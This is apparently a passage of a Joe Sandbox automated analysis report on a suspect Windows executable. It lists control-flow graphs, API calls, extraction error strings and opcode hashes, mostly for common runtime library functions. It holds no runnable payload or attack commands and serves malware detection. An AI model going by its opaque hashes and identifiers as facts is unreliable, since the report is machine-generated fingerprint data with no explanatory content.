                                                                                                                                                                                                                                      control_flow_graph 522 7ff6850b1050-7ff6850b10ab call 7ff6850bb4e0 525 7ff6850b10d3-7ff6850b10eb call 7ff6850c4f90 522->525 526 7ff6850b10ad-7ff6850b10d2 call 7ff6850b2b30 522->526 531 7ff6850b1109-7ff6850b1119 call 7ff6850c4f90 525->531 532 7ff6850b10ed-7ff6850b1104 call 7ff6850b2890 525->532 538 7ff6850b1137-7ff6850b1147 531->538 539 7ff6850b111b-7ff6850b1132 call 7ff6850b2890 531->539 537 7ff6850b126c-7ff6850b1281 call 7ff6850bb1c0 call 7ff6850c4f7c * 2 532->537 555 7ff6850b1286-7ff6850b12a0 537->555 541 7ff6850b1150-7ff6850b1175 call 7ff6850c04dc 538->541 539->537 549 7ff6850b125e 541->549 550 7ff6850b117b-7ff6850b1185 call 7ff6850c0250 541->550 553 7ff6850b1264 549->553 550->549 556 7ff6850b118b-7ff6850b1197 550->556 553->537 557 7ff6850b11a0-7ff6850b11c8 call 7ff6850b9990 556->557 560 7ff6850b1241-7ff6850b125c call 7ff6850b2b30 557->560 561 7ff6850b11ca-7ff6850b11cd 557->561 560->553 562 7ff6850b11cf-7ff6850b11d9 561->562 563 7ff6850b123c 561->563 565 7ff6850b1203-7ff6850b1206 562->565 566 7ff6850b11db-7ff6850b11e8 call 7ff6850c0c1c 562->566 563->560 568 7ff6850b1208-7ff6850b1216 call 7ff6850bca40 565->568 569 7ff6850b1219-7ff6850b121e 565->569 573 7ff6850b11ed-7ff6850b11f0 566->573 568->569 569->557 572 7ff6850b1220-7ff6850b1223 569->572 575 7ff6850b1225-7ff6850b1228 572->575 576 7ff6850b1237-7ff6850b123a 572->576 577 7ff6850b11fe-7ff6850b1201 573->577 578 7ff6850b11f2-7ff6850b11fc call 7ff6850c0250 573->578 575->560 579 7ff6850b122a-7ff6850b1232 575->579 576->553 577->560 578->569 578->577 579->541
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message
                                                                                                                                                                                                                                      • String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
                                                                                                                                                                                                                                      • API String ID: 2030045667-1655038675
                                                                                                                                                                                                                                      • Opcode ID: 912b3f155217b08bd989d1562fee40c331c6fc125c04819d7b59a7e191544c21
                                                                                                                                                                                                                                      • Instruction ID: 131d710d379b65b719a159dc7001cb557cf59d5a842b8ce65f0b82d2bc781960
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 912b3f155217b08bd989d1562fee40c331c6fc125c04819d7b59a7e191544c21
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D051F122A09682C5EA20AB51E4803BA6290FF85FE5F48413DEE4EC7785EF3CED55C701
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CF1D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FreeLibrary.KERNEL32(?,?,?,00007FF6850CF56A,?,?,-00000018,00007FF6850CB317,?,?,?,00007FF6850CB20E,?,?,?,00007FF6850C6452), ref: 00007FF6850CF34C
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(?,?,?,00007FF6850CF56A,?,?,-00000018,00007FF6850CB317,?,?,?,00007FF6850CB20E,?,?,?,00007FF6850C6452), ref: 00007FF6850CF358
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressFreeLibraryProc
                                                                                                                                                                                                                                      • String ID: api-ms-$ext-ms-
                                                                                                                                                                                                                                      • API String ID: 3013587201-537541572
                                                                                                                                                                                                                                      • Opcode ID: d2429d82f74935346a71535361e23a0a0fd68cfa18870ede5d154c99e1daa8a5
                                                                                                                                                                                                                                      • Instruction ID: 899346e85f5d1450977214de8388d013f2a663cf15d880d7c835af2011abbe10
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d2429d82f74935346a71535361e23a0a0fd68cfa18870ede5d154c99e1daa8a5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3141E021B19A02D2EA26CB56A8006B52391BF46FB0F59423DDD0ED7794EF3CEC49C325
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CC01C Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 679 7ff6850cc01c-7ff6850cc042 680 7ff6850cc044-7ff6850cc058 call 7ff6850c54a4 call 7ff6850c54c4 679->680 681 7ff6850cc05d-7ff6850cc061 679->681 697 7ff6850cc44e 680->697 683 7ff6850cc437-7ff6850cc443 call 7ff6850c54a4 call 7ff6850c54c4 681->683 684 7ff6850cc067-7ff6850cc06e 681->684 700 7ff6850cc449 call 7ff6850caea4 683->700 684->683 686 7ff6850cc074-7ff6850cc0a2 684->686 686->683 689 7ff6850cc0a8-7ff6850cc0af 686->689 692 7ff6850cc0b1-7ff6850cc0c3 call 7ff6850c54a4 call 7ff6850c54c4 689->692 693 7ff6850cc0c8-7ff6850cc0cb 689->693 692->700 695 7ff6850cc433-7ff6850cc435 693->695 696 7ff6850cc0d1-7ff6850cc0d7 693->696 701 7ff6850cc451-7ff6850cc468 695->701 696->695 702 7ff6850cc0dd-7ff6850cc0e0 696->702 697->701 700->697 702->692 706 7ff6850cc0e2-7ff6850cc107 702->706 708 7ff6850cc13a-7ff6850cc141 706->708 709 7ff6850cc109-7ff6850cc10b 706->709 710 7ff6850cc143-7ff6850cc16b call 7ff6850cdbbc call 7ff6850caf0c * 2 708->710 711 7ff6850cc116-7ff6850cc12d call 7ff6850c54a4 call 7ff6850c54c4 call 7ff6850caea4 708->711 712 7ff6850cc132-7ff6850cc138 709->712 713 7ff6850cc10d-7ff6850cc114 709->713 740 7ff6850cc16d-7ff6850cc183 call 7ff6850c54c4 call 7ff6850c54a4 710->740 741 7ff6850cc188-7ff6850cc1b3 call 7ff6850cc844 710->741 745 7ff6850cc2c0 711->745 714 7ff6850cc1b8-7ff6850cc1cf 712->714 713->711 713->712 717 7ff6850cc1d1-7ff6850cc1d9 714->717 718 7ff6850cc24a-7ff6850cc254 call 7ff6850d3f8c 714->718 717->718 721 7ff6850cc1db-7ff6850cc1dd 717->721 731 7ff6850cc2de 718->731 732 7ff6850cc25a-7ff6850cc26f 718->732 721->718 725 7ff6850cc1df-7ff6850cc1f5 721->725 725->718 729 7ff6850cc1f7-7ff6850cc203 725->729 729->718 734 7ff6850cc205-7ff6850cc207 729->734 736 7ff6850cc2e3-7ff6850cc303 ReadFile 731->736 732->731 737 7ff6850cc271-7ff6850cc283 GetConsoleMode 732->737 734->718 739 7ff6850cc209-7ff6850cc221 734->739 742 7ff6850cc3fd-7ff6850cc406 GetLastError 736->742 743 7ff6850cc309-7ff6850cc311 736->743 737->731 744 7ff6850cc285-7ff6850cc28d 737->744 739->718 750 7ff6850cc223-7ff6850cc22f 739->750 740->745 741->714 747 7ff6850cc423-7ff6850cc426 742->747 748 7ff6850cc408-7ff6850cc41e call 7ff6850c54c4 call 7ff6850c54a4 742->748 743->742 752 7ff6850cc317 743->752 744->736 746 7ff6850cc28f-7ff6850cc2b1 ReadConsoleW 744->746 749 7ff6850cc2c3-7ff6850cc2cd call 7ff6850caf0c 745->749 754 7ff6850cc2d2-7ff6850cc2dc 746->754 755 7ff6850cc2b3 GetLastError 746->755 759 7ff6850cc42c-7ff6850cc42e 747->759 760 7ff6850cc2b9-7ff6850cc2bb call 7ff6850c5438 747->760 748->745 749->701 750->718 758 7ff6850cc231-7ff6850cc233 750->758 762 7ff6850cc31e-7ff6850cc333 752->762 754->762 755->760 758->718 767 7ff6850cc235-7ff6850cc245 758->767 759->749 760->745 762->749 769 7ff6850cc335-7ff6850cc340 762->769 767->718 772 7ff6850cc342-7ff6850cc35b call 7ff6850cbc34 769->772 773 7ff6850cc367-7ff6850cc36f 769->773 779 7ff6850cc360-7ff6850cc362 772->779 775 7ff6850cc371-7ff6850cc383 773->775 776 7ff6850cc3eb-7ff6850cc3f8 call 7ff6850cba74 773->776 780 7ff6850cc385 775->780 781 7ff6850cc3de-7ff6850cc3e6 775->781 776->779 779->749 783 7ff6850cc38a-7ff6850cc391 780->783 781->749 784 7ff6850cc393-7ff6850cc397 783->784 785 7ff6850cc3cd-7ff6850cc3d8 783->785 786 7ff6850cc3b3 784->786 787 7ff6850cc399-7ff6850cc3a0 784->787 785->781 789 7ff6850cc3b9-7ff6850cc3c9 786->789 787->786 788 7ff6850cc3a2-7ff6850cc3a6 787->788 788->786 790 7ff6850cc3a8-7ff6850cc3b1 788->790 789->783 791 7ff6850cc3cb 789->791 790->789 791->781
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: 9ca903b9cf5f984a890856c9b526cbfbbe81c083043c7d3df747fa7ce8575f70
                                                                                                                                                                                                                                      • Instruction ID: 858b3226b2c078e57727afa1983ea650a63ecabd5dbcdb671a482b7e5786dcb8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9ca903b9cf5f984a890856c9b526cbfbbe81c083043c7d3df747fa7ce8575f70
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C9C1D022A0C786D2E6609B55D4002BD7B94FF92FA0F594139DA5E87392CF7CEC45C722
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CD520 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 902 7ff6850cd520-7ff6850cd545 903 7ff6850cd813 902->903 904 7ff6850cd54b-7ff6850cd54e 902->904 905 7ff6850cd815-7ff6850cd825 903->905 906 7ff6850cd550-7ff6850cd582 call 7ff6850cadd8 904->906 907 7ff6850cd587-7ff6850cd5b3 904->907 906->905 909 7ff6850cd5b5-7ff6850cd5bc 907->909 910 7ff6850cd5be-7ff6850cd5c4 907->910 909->906 909->910 912 7ff6850cd5d4-7ff6850cd5e9 call 7ff6850d3f8c 910->912 913 7ff6850cd5c6-7ff6850cd5cf call 7ff6850cc8e0 910->913 917 7ff6850cd703-7ff6850cd70c 912->917 918 7ff6850cd5ef-7ff6850cd5f8 912->918 913->912 919 7ff6850cd70e-7ff6850cd714 917->919 920 7ff6850cd760-7ff6850cd785 WriteFile 917->920 918->917 921 7ff6850cd5fe-7ff6850cd602 918->921 924 7ff6850cd74c-7ff6850cd75e call 7ff6850ccfd8 919->924 925 7ff6850cd716-7ff6850cd719 919->925 922 7ff6850cd790 920->922 923 7ff6850cd787-7ff6850cd78d GetLastError 920->923 926 7ff6850cd613-7ff6850cd61e 921->926 927 7ff6850cd604-7ff6850cd60c call 7ff6850c4900 921->927 931 7ff6850cd793 922->931 923->922 946 7ff6850cd6f0-7ff6850cd6f7 924->946 932 7ff6850cd71b-7ff6850cd71e 925->932 933 7ff6850cd738-7ff6850cd74a call 7ff6850cd1f8 925->933 928 7ff6850cd62f-7ff6850cd644 GetConsoleMode 926->928 929 7ff6850cd620-7ff6850cd629 926->929 927->926 935 7ff6850cd64a-7ff6850cd650 928->935 936 7ff6850cd6fc 928->936 929->917 929->928 938 7ff6850cd798 931->938 939 7ff6850cd7a4-7ff6850cd7ae 932->939 940 7ff6850cd724-7ff6850cd736 call 7ff6850cd0dc 932->940 933->946 944 7ff6850cd656-7ff6850cd659 935->944 945 7ff6850cd6d9-7ff6850cd6eb call 7ff6850ccb60 935->945 936->917 947 7ff6850cd79d 938->947 948 7ff6850cd7b0-7ff6850cd7b5 939->948 949 7ff6850cd80c-7ff6850cd811 939->949 940->946 951 7ff6850cd664-7ff6850cd672 944->951 952 7ff6850cd65b-7ff6850cd65e 944->952 945->946 946->938 947->939 954 7ff6850cd7e3-7ff6850cd7ed 948->954 955 7ff6850cd7b7-7ff6850cd7ba 948->955 949->905 959 7ff6850cd674 951->959 960 7ff6850cd6d0-7ff6850cd6d4 951->960 952->947 952->951 957 7ff6850cd7f4-7ff6850cd803 954->957 958 7ff6850cd7ef-7ff6850cd7f2 954->958 961 7ff6850cd7d3-7ff6850cd7de call 7ff6850c5480 955->961 962 7ff6850cd7bc-7ff6850cd7cb 955->962 957->949 958->903 958->957 964 7ff6850cd678-7ff6850cd68f call 7ff6850d4058 959->964 960->931 961->954 962->961 968 7ff6850cd691-7ff6850cd69d 964->968 969 7ff6850cd6c7-7ff6850cd6cd GetLastError 964->969 970 7ff6850cd69f-7ff6850cd6b1 call 7ff6850d4058 968->970 971 7ff6850cd6bc-7ff6850cd6c3 968->971 969->960 970->969 975 7ff6850cd6b3-7ff6850cd6ba 970->975 971->960 972 7ff6850cd6c5 971->972 972->964 975->971
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF6850CD50B), ref: 00007FF6850CD63C
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF6850CD50B), ref: 00007FF6850CD6C7
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ConsoleErrorLastMode
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 953036326-0
                                                                                                                                                                                                                                      • Opcode ID: 9c71bbc92960716eb9d411b0b48861d3e4dcea1db34bc3604978879cc3cc685b
                                                                                                                                                                                                                                      • Instruction ID: c15642babdc2bdc09baf31569ea46b747629571921bcb161340129fedece4c8e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9c71bbc92960716eb9d411b0b48861d3e4dcea1db34bc3604978879cc3cc685b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EF91D163E1869AC5F7609F6594402BD2BA0BF46FA8F14417DDE0E97A84DF38DC86C720
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CFCEC Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _get_daylight$_isindst
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 4170891091-0
                                                                                                                                                                                                                                      • Opcode ID: 576313037ba361094b23b779854add166a997b8059c5947e2a7d8f77b38f16ad
                                                                                                                                                                                                                                      • Instruction ID: eef757bcc36d29fc25fdd59b2d931fce4c073bed1e1045867fc1b18af918383f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 576313037ba361094b23b779854add166a997b8059c5947e2a7d8f77b38f16ad
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C151C272F04612CAEB24DF2499456BC27A5BF12B79F501239DD1E92BE6DF38AC02C711
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C5854 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2780335769-0
                                                                                                                                                                                                                                      • Opcode ID: 76a0635d5597b22ce5d2941ff6046abd28e8f163941117926f9164ef5776c06c
                                                                                                                                                                                                                                      • Instruction ID: 0c622d953b7fd7819309b0f70532fa68b4a8c86eda66099bfc1e608a0668f8d7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 76a0635d5597b22ce5d2941ff6046abd28e8f163941117926f9164ef5776c06c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 15516F26A18641CAF710DF61D4503BD27A1FF69BA9F148539DE8D8B699DF38DC80CB20
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BC07C Relevance: 6.1, APIs: 4, Instructions: 94COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1452418845-0
                                                                                                                                                                                                                                      • Opcode ID: 79d1dce2d398f9716499937a06441436ffdde6278d394028c2c843f21c7e496b
                                                                                                                                                                                                                                      • Instruction ID: ffdcfe16643015ab80d81d188261cd482185230354e18083a468f85c0bb4261a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 79d1dce2d398f9716499937a06441436ffdde6278d394028c2c843f21c7e496b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 04310B11A0C243C1FA64BB6494913B92B91BF42FA4F98483DD94ED72D7DE2CBC44C613
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C5700 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1279662727-0
                                                                                                                                                                                                                                      • Opcode ID: 4e99df99e7301f39d701a276f02ef329721f1d5d609599a82ba0c959db36bcb5
                                                                                                                                                                                                                                      • Instruction ID: c645e9a1275347da61e02584a3fc5c15c2102982c67d7b9935bbef0a4e8d7529
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4e99df99e7301f39d701a276f02ef329721f1d5d609599a82ba0c959db36bcb5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 06418426D18782C3E7508B2096503696360FFA6B75F109338EA9C87AD5DF6CADE0C710
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C9FC0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1703294689-0
                                                                                                                                                                                                                                      • Opcode ID: 8770705702221fa6c619df89f3c2f6fa117b36761db68559c6d5aced1687d582
